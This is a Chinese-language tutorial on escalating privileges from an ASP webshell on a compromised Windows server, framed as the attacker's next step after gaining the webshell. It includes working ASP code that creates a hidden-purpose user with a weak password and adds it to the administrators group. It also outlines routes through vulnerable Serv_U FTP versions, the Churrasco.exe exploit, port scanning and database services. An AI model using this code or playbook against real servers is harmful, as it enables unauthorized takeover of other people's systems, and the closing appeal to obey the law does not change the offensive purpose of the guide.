### ASP_SHELL提权流程详解
#### 一、概述
在网络安全领域，获取WebShell只是攻击的第一步，后续还需要通过各种技术手段实现权限提升（简称“提权”），以达到控制整个系统的最终目的。本文将详细介绍ASP_SHELL提权的过程，并提供多种方法，帮助读者理解和掌握这一关键技能。
#### 二、提权前准备
1. **获取WebShell**：需要通过漏洞利用等方式获取WebShell。
2. **权限确认**：确定当前WebShell的权限等级，以便后续选择合适的提权策略。
#### 三、提权步骤
##### 1. 直接添加账号（System权限）
- **适用条件**：当获得System级别的WebShell时，可以直接利用类似CMD命令的方式创建新用户并加入管理员组。
- **实例代码**：
```asp
<%
Set onlineServer = GetObject("WinNT://127.0.0.1")
Set newuser = onlineServer.Create("user", "enterer")
NewUser.SetPassword "123456"
NewUser.FullName = "enterertest"
NewUser.Description = "enterer's example"
NewUser.SetInfo
Set oDomain = GetObject("WinNT://" & "127.0.0.1")
Set oGroup = oDomain.GetObject("Group", "administrators")
oGroup.Add "winnt://enterer"
Response.Write "用户enterer添加成功"
Response.Write "<BR>"
Response.Write "用户enterer已经被添加到管理员组"
Set oDomain = Nothing
Set oGroup = Nothing
%>
```
- **注意**：此方法的成功率较低，且适用于特定环境。
##### 2. 使用WebShell自带提权功能
- **测试工具**：如Serv_U、pcAnywhere、Radmin等。
- **操作说明**：尝试利用WebShell自带的功能或工具进行提权操作，例如读取密码、远程访问等。
- **示例**：使用Serv_U提权可能较为常见，但需了解其具体工作原理。
##### 3. 观察WebShell信息
- **发现迹象**：如果WebShell上出现特殊账户（如xxx$），则很可能服务器已被其他攻击者提权。
- **支持语言检测**：测试服务器是否支持PHP、ASPX等，这些语言的权限通常高于ASP。
- **软件检测**：检查服务器上安装的软件类型，特别是安全软件，因为它们可能会影响提权过程。
##### 4. 利用FTP软件提权
- **确认FTP软件**：通过FTP域名确认服务器使用的FTP软件类型，如Serv_U等。
- **Serv_U提权**：针对Serv_U的不同版本，采用不同的提权方法。低版本的Serv_U更容易被提权。
- **示例**：使用Serv_U 6.3及以下版本时，即便更改了默认密码，也可能存在提权漏洞。
##### 5. 利用巴西烤肉（Churrasco.exe）提权
- **工具简介**：Churrasco.exe是一款利用系统漏洞进行溢出提权的工具，成功率达到20%以上。
- **操作方式**：在CMD命令行中输入特定指令，利用该工具尝试提权。
- **注意**：若无明显反应，则可能提权失败。
##### 6. 其他提权方法
- **端口扫描**：通过端口扫描工具检测开放端口，寻找可利用的服务。
- 3389（远程桌面）、1433（SQL Server）、3306（MySQL）、43958（Serv_U）等。
- **利用软件漏洞**：如迅雷、搜狗浏览器等已知的安全漏洞。
- **数据库提权**：利用MSSQL或MySQL等数据库服务进行提权。
- **其他工具**：尝试使用FlashFXP、Gen6、MagicWinmail等工具进行提权操作。
#### 四、结语
提权是一项复杂的技术，需要不断实践和学习。本文提供了多种提权方法及其应用场景，旨在帮助读者更好地理解提权过程。需要注意的是，在实际操作中应遵循法律法规，合法合规地使用相关知识和技术。
